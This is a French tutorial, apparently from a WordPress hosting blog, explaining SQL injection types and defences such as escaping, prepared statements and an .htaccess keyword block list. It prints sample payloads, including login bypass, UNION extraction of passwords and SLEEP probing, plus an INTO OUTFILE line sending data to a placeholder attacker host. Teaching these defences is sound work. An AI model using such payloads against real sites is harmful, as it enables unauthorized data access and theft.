Une injection SQL est une technique d’injection de code que les attaquants utilisent pour exploiter les vulnérabilités de la couche base de données d’un site web ou d’une application. Si les attaquants parviennent à réaliser une injection SQL, ils peuvent accéder à la base de données.
Si vous comprenez le fonctionnement de ces attaques, vous serez mieux équipé pour les prévenir. Vous pourrez ainsi assurer la sécurité de votre site web et de vos clients.
Dans cet article, nous allons explorer les différents types d’injections SQL. Nous vous montrerons également comment protéger votre site contre ces attaques. Plongeons dans le vif du sujet !
Qu’est-ce qu’une injection SQL ?
SQL (Structured Query Language) est un langage qui nous permet d’interagir avec les bases de données. Les applications web modernes utilisent des bases de données pour gérer les données et afficher un contenu dynamique aux lecteurs.
On parle d’injection SQL (ou SQLi) lorsqu’un utilisateur tente d’insérer des instructions SQL malveillantes dans une application web. S’il y parvient, il pourra accéder aux données sensibles de la base de données.
En 2023, les injections SQL restent l’une des attaques les plus courantes sur le web. Rien qu’en 2022, 1162 vulnérabilités liées aux injections SQL ont été ajoutées à la base de données de sécurité CVE.
La bonne nouvelle, c’est que les injections SQL ne sont plus aussi répandues qu’auparavant. La plupart des applications ont évolué pour se protéger contre les attaques SQL.
En 2012, 97 % des violations de données étaient dues à des injections SQL. Aujourd’hui, ce chiffre reste élevé, mais il est beaucoup plus facile à gérer.
Comment fonctionne la vulnérabilité d’injection SQL ?
Une vulnérabilité par injection SQL donne à un pirate un accès complet à la base de données de votre application grâce à l’utilisation d’instructions SQL malveillantes.
Prenons un exemple d’application vulnérable.
Imaginez le flux de travail d’une application web typique qui implique des requêtes de base de données par le biais d’entrées utilisateur. Vous saisissez les données de l’utilisateur au moyen d’un formulaire, par exemple un formulaire de connexion. Vous interrogez ensuite votre base de données avec les champs soumis par l’utilisateur pour l’authentifier. La structure de la requête adressée à votre base de données ressemble à ceci :
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';Pour simplifier, supposons que vous stockez vos mots de passe en texte clair. Il est toutefois recommandé de saler vos mots de passe, puis de les hacher. Si vous avez reçu le nom d’utilisateur et le mot de passe du formulaire, vous pouvez définir la requête en PHP comme suit :
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute querySi quelqu’un saisit la valeur « admin’;- » dans le champ du nom d’utilisateur, la requête SQL générée par la variable $db_query sera la suivante :
select * from user_table where
username = 'admin';--' and password = 'mypassword'Que fait cette requête ?
En SQL, le symbole — commence un commentaire, de sorte que tout ce qui suit est ignoré. La vérification du mot de passe est donc supprimée de la requête. Par conséquent, si « admin » est un nom d’utilisateur valide, l’attaquant peut se connecter sans connaître le mot de passe. Du moins, s’il n’y a pas de sécurité en place contre ce type d’attaques.
Dans cet exemple, une attaque booléenne peut également être utilisée pour obtenir l’accès. Si un pirate saisit « password’ or 1=1;- » dans le champ du mot de passe, la requête résultante sera la suivante :
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';Dans ce cas, même si votre mot de passe est erroné, vous serez authentifié dans l’application. Si votre page web affiche les résultats de l’interrogation de la base de données, un pirate peut utiliser la commande pour afficher les tables, la commande pour afficher les tables de la base de données, puis supprimer sélectivement des tables s’il le souhaite.
Exploits of a Mom, une bande dessinée populaire de XKCD, montre la conversation d’une mère avec l’école de son fils, où on lui demande si elle a vraiment appelé son fils « Robert’) ; DROP TABLE Students ; – »« .
Types d’injection SQL
Maintenant que vous connaissez les bases d’une vulnérabilité par injection SQL, explorons les différents types d’attaques par injection SQL et la raison de chacune d’entre elles.
Injection SQL en bande
L’injection SQL en bande est la forme la plus simple d’injection SQL. Dans ce processus, l’attaquant est capable d’utiliser le même canal pour insérer le code SQL malveillant dans l’application et recueillir les résultats.
Examinons deux formes d’attaques par injection SQL en bande.
Attaque par erreur
Une attaque par erreur se produit lorsque quelqu’un manipule intentionnellement la requête SQL pour générer une erreur dans la base de données. Le message d’erreur renvoyé par la base de données contient souvent des informations sur la structure de la base de données, que l’attaquant peut utiliser pour exploiter davantage le système.
Par exemple, un pirate peut saisir ‘ OR ‘1’=’1 dans un champ de formulaire. Si l’application est vulnérable, elle peut renvoyer un message d’erreur qui révèle des informations sur la base de données.
Attaque basée sur l’union
Les attaques par injection SQL basées sur l’union utilisent l’opérateur SQL UNION pour combiner les résultats de la requête originale avec les résultats de requêtes malveillantes injectées.
Cela permet à l’attaquant de récupérer des informations dans d’autres tables de la base de données :
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;Dans cette requête, l’opérateur UNION combine les résultats de la requête originale avec les résultats de SELECT username, password FROM user_table. Si l’application est vulnérable et ne vérifie pas correctement les entrées des utilisateurs, elle peut renvoyer une page contenant les noms d’utilisateur et les mots de passe de la table des utilisateurs.
Injection SQL inférentielle (injection SQL aveugle)
Même si un attaquant génère une erreur dans la requête SQL, la réponse à la requête peut ne pas être transmise directement à la page web. Dans ce cas, l’auteur de l’attaque devra procéder à d’autres vérifications.
Dans cette forme d’injection SQL, l’attaquant envoie diverses requêtes à la base de données afin d’évaluer la manière dont l’application analyse ces réponses. Une injection SQL inférentielle est parfois également connue sous le nom d’injection SQL aveugle.
Nous examinerons ci-dessous deux types d’injections SQL inférentielles, à savoir l’injection SQL booléenne et l’injection SQL temporelle : l’injection SQL booléenne et l’injection SQL temporelle.
Attaque booléenne
Si une requête SQL entraîne une erreur qui n’a pas été traitée en interne dans l’application, la page web résultante peut générer une erreur, charger une page blanche ou se charger partiellement. Dans une injection SQL booléenne, un attaquant évalue quelles parties de l’entrée d’un utilisateur sont vulnérables aux injections SQL en essayant deux versions différentes d’une clause booléenne à travers l’entrée :
- « … et 1=1»
- « … et 1=2 »
Ces requêtes sont conçues pour avoir une condition qui sera soit vraie, soit fausse. Si la condition est vraie, la page se chargera normalement. Si elle est fausse, la page peut se charger différemment ou afficher une erreur.
En observant le chargement de la page, l’attaquant peut déterminer si la condition était vraie ou fausse, même s’il ne voit pas la requête SQL réelle ou la réponse de la base de données. Si vous réunissez plusieurs conditions similaires, vous pouvez lentement extraire des informations de la base de données.
Attaque temporelle
Une attaque par injection SQL basée sur le temps peut aider un attaquant à déterminer si une vulnérabilité est présente dans une application web. Un attaquant utilise une fonction temporelle prédéfinie du système de gestion de base de données utilisé par l’application. Par exemple, dans MySQL, la fonctionsleep() demande à la base de données d’attendre un certain nombre de secondes.
select * from comments
WHERE post_id=1-SLEEP(15);Si une telle requête entraîne un délai, l’attaquant saura qu’elle est vulnérable. Cette approche est similaire aux attaques booléennes dans la mesure où vous n’obtenez pas de réponse réelle de la base de données. Cependant, vous pouvez obtenir des informations si l’attaque réussit.
Injection SQL hors bande
Dans une attaque par injection SQL hors bande, l’attaquant manipule la requête SQL pour demander à la base de données de transmettre des données à un serveur contrôlé par l’attaquant. Pour ce faire, il utilise généralement des fonctions de base de données qui peuvent demander des ressources externes, telles que des requêtes HTTP ou des requêtes DNS.
Une attaque par injection SQL hors bande utilise une capacité de processus de fichier externe de votre SGBD. Dans MySQL, les fonctions LOAD_FILE() et INTO OUTFILE peuvent être utilisées pour demander à MySQL de transmettre les données à une source externe.
Voici comment un attaquant peut utiliser OUTFILE pour envoyer les résultats d’une requête à une source externe :
select * from post_table
into OUTFILE '\\MALICIOUS_IP_ADDRESSlocation'De même, la fonction LOAD_FILE() peut être utilisée pour lire un fichier sur le serveur et afficher son contenu. Une combinaison de LOAD_FILE() et OUTFILE peut être utilisée pour lire le contenu d’un fichier sur le serveur et le transmettre à un autre emplacement.
Comment prévenir les injections SQL
Jusqu’à présent, nous avons exploré les vulnérabilités d’une application web qui peuvent conduire à des attaques par injection SQL. Une vulnérabilité de type injection SQL peut être utilisée par un attaquant pour lire, modifier ou même supprimer le contenu de votre base de données.
En outre, elle peut également permettre de lire un fichier à n’importe quel endroit du serveur et d’en transférer le contenu ailleurs. Dans cette section, nous explorons différentes techniques pour protéger votre application web et votre site web contre les attaques par injection SQL.
Échapper les entrées de l’utilisateur
D’une manière générale, il est difficile de déterminer si une chaîne de caractères utilisateur est malveillante ou non. C’est pourquoi une approche courante consiste à échapper les caractères spéciaux dans les entrées utilisateur. Ce processus peut vous aider à vous protéger contre les attaques par injection SQL.
En PHP, vous pouvez échapper une chaîne de caractères avant de construire la requête à l’aide de la fonction mysqli_real_escape_string():
$unsafe_variable = $_POST["user_input"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);Lorsque vous affichez des données utilisateur au format HTML, il est également important de convertir les caractères spéciaux en caractères HTML correspondants afin de prévenir les attaques de type Cross-Site Scripting (XSS). Vous pouvez convertir les caractères spéciaux en PHP en utilisant la fonction htmlspecialchars().
Utiliser des instructions préparées
Vous pouvez également utiliser des instructions préparées pour éviter les injections SQL. Une instruction préparée est un modèle de requête SQL, dans lequel vous spécifiez des paramètres à un stade ultérieur pour l’exécuter.
Voici un exemple d’instruction préparée en PHP et MySQLi :
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));Autres contrôles d’hygiène pour prévenir les attaques SQL
L’étape suivante pour atténuer cette vulnérabilité consiste à limiter l’accès à la base de données au strict nécessaire.
Par exemple, vous pouvez connecter votre application web au SGBD en utilisant un utilisateur spécifique qui n’a accès qu’à la base de données concernée.
En outre, vous voudrez restreindre l’accès de l’utilisateur de la base de données à tous les autres emplacements du serveur. Vous pouvez également souhaiter bloquer certains mots-clés SQL dans votre URL via votre serveur web.
Si vous utilisez Apache comme serveur web, vous pouvez utiliser les lignes de code suivantes dans votre fichier .htaccess pour afficher une erreur403 Forbidden à un attaquant potentiel.
Soyez prudent avant d’utiliser cette technique, car Apache affichera une erreur à un lecteur si l’URL contient ces mots-clés.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]Un autre conseil de prévention consiste à toujours utiliser des logiciels mis à jour. Lorsqu’une nouvelle version ou un correctif est publié, les bogues qui ont été corrigés dans la mise à jour sont détaillés dans les notes de mise à jour. Une fois que les détails d’un bogue sont rendus publics, il peut être risqué d’utiliser une ancienne version d’un logiciel.
Injection SQL dans WordPress
Vous êtes à l’abri de toute vulnérabilité d’injection SQL si vous utilisez des fichiers de base WordPress à jour. Cependant, l’utilisation d’extensions et de thèmes tiers expose toujours votre site web à un certain niveau de vulnérabilité. Vous pouvez largement atténuer ce risque en utilisant des extensions et des thèmes qui reçoivent des mises à jour régulières et qui respectent des pratiques de codage sûres.
La solidité de votre site WordPress dépend de son maillon le plus faible. Dans cette section, nous explorons les considérations clés pour atténuer la vulnérabilité à l’injection SQL dans WordPress et comment effectuer des contrôles de vulnérabilité sur votre site WordPress existant.
Prévention de la vulnérabilité aux injections SQL pour WordPress
Pour réduire la vulnérabilité à l’injection SQL dans votre thème WordPress ou votre extension, la seule règle à suivre est de toujours utiliser les fonctions existantes de WordPress pour interagir avec la base de données.
Ces fonctions sont testées de manière approfondie pour détecter les vulnérabilités aux injections SQL au cours du processus de développement de WordPress. Par exemple, si vous souhaitez ajouter un commentaire à un article, utilisez la fonction wp_insert_comment() plutôt que d’insérer des données directement dans la table wp_comments.
Bien que les fonctions soient extensibles, il se peut que vous ayez parfois besoin d’exécuter une requête complexe. Dans ce cas, assurez-vous d’utiliser le groupe de fonctions$wp_db. Vous pouvez utiliser $wpdb->prepare() pour échapper à la saisie de l’utilisateur avant de créer la requête.
De plus, voici une liste de fonctions permettant d’assainir les données dans WordPress. Celles-ci peuvent vous aider à échapper à des types spécifiques d’entrées utilisateur telles que les e-mails et les URL.
Sécurisez votre site WordPress
Bien que WordPress lui-même soit sécurisé, des problèmes tels qu’un logiciel de base obsolète et des extensions non valides peuvent conduire à des vulnérabilités. Bien qu’il n’y ait pas d’alternative à la vérification complète de votre site WordPress pour les vulnérabilités d’injection SQL, la complexité d’un site web peut rendre cette tâche difficile.
Vous pouvez utiliser un outil d’analyse en ligne tel que WPScan. Nous vous recommandons également d’auditer vos extensions pour voir si leur développement s’est arrêté. Si elles ne sont plus maintenues, ce n’est peut-être pas une bonne idée de les utiliser sur votre site.
Si vous devez toujours les utiliser, assurez-vous de tester minutieusement leur code et leurs fonctionnalités pour détecter les vulnérabilités. Pour le reste, veillez à respecter les règles d’hygiène suivantes :
- Mettez à jour PHP, le noyau de WordPress et MySQL
- Mettez à jour les extensions et les thèmes tiers
- Évitez d’utiliser l’utilisateur root pour vous connecter à la base de données SQL
- Limitez l’accès de l’utilisateur SQL aux répertoires sensibles
- Bloquez l’utilisation de mots-clés SQL sur votre serveur
- Conservez des sauvegardes de votre site hors site en cas de dommages irréversibles
Vous trouverez ici un article détaillé sur la sécurité de WordPress et une liste exhaustive de vérifications. En outre, vous pouvez investir dans ces meilleures extensions WordPress de sécurité. Voici ce que vous devez faire si votre site WordPress est piraté malgré tous vos efforts.
L’injection SQL est-elle illégale ?
Certainement, oui ! Même s’il y a une vulnérabilité réelle, un attaquant essaie toujours d’accéder à des données qui ne lui seraient pas accessibles autrement.
Imaginez un scénario dans lequel quelqu’un laisse ses clés dans la voiture. Le fait de partir en voiture constitue-t-il une infraction simplement parce qu’elle a été laissée ouverte et sans surveillance ?
L’acte de SQLi relève de lois différentes selon les pays. Il relève du Computer Fraud and Abuse Act (1986) aux États-Unis et du Computer Misuse Act (1990) au Royaume-Uni.
Résumé
Les injections SQL sont depuis longtemps l’une des attaques les plus courantes contre tous les types de sites web. Même WordPress ne peut pas vous protéger contre les attaques SQL si vous ne prenez pas les mesures nécessaires pour assurer la sécurité de votre site web.
Pour prévenir ces attaques, vous devez :
- Comprendre comment fonctionne la vulnérabilité de l’injection SQL
- Explorer les différentes façons dont les attaquants peuvent utiliser SQLi pour obtenir un accès non autorisé à votre application web
- Mettre en œuvre des méthodes pour protéger votre site web contre les attaques SQLi, comme l’échappement des entrées utilisateur et l’utilisation d’instructions préparées
- Suivre une routine de contrôle de sécurité
Gagnez du temps et de l’argent, et maximisez les performances de votre site, avec plus de 275 $ d’intégrations de niveau entreprise incluses dans chaque plan WordPress infogéré. Cela inclut un CDN de haute performance, une protection DDoS, une atténuation des logiciels malveillants et des piratages, un cache edge, et les machines CPU les plus rapides de Google. Commencez sans contrat à long terme, avec des migrations assistées et une garantie de remboursement de 30 jours.
Consultez nos offres ou contactez le service commercial pour trouver l’offre qui vous convient le mieux.
Shaumik est analyste de données le jour, et passionné de bandes dessinées la nuit (ou peut-être est-il Batman ?) Shaumik écrit des tutoriels et crée des screencasts depuis plus de cinq ans. Quand il ne travaille pas, il s'occupe d'automatiser des tâches quotidiennes banales grâce à des scripts méticuleusement écrits !
Laisser un commentaire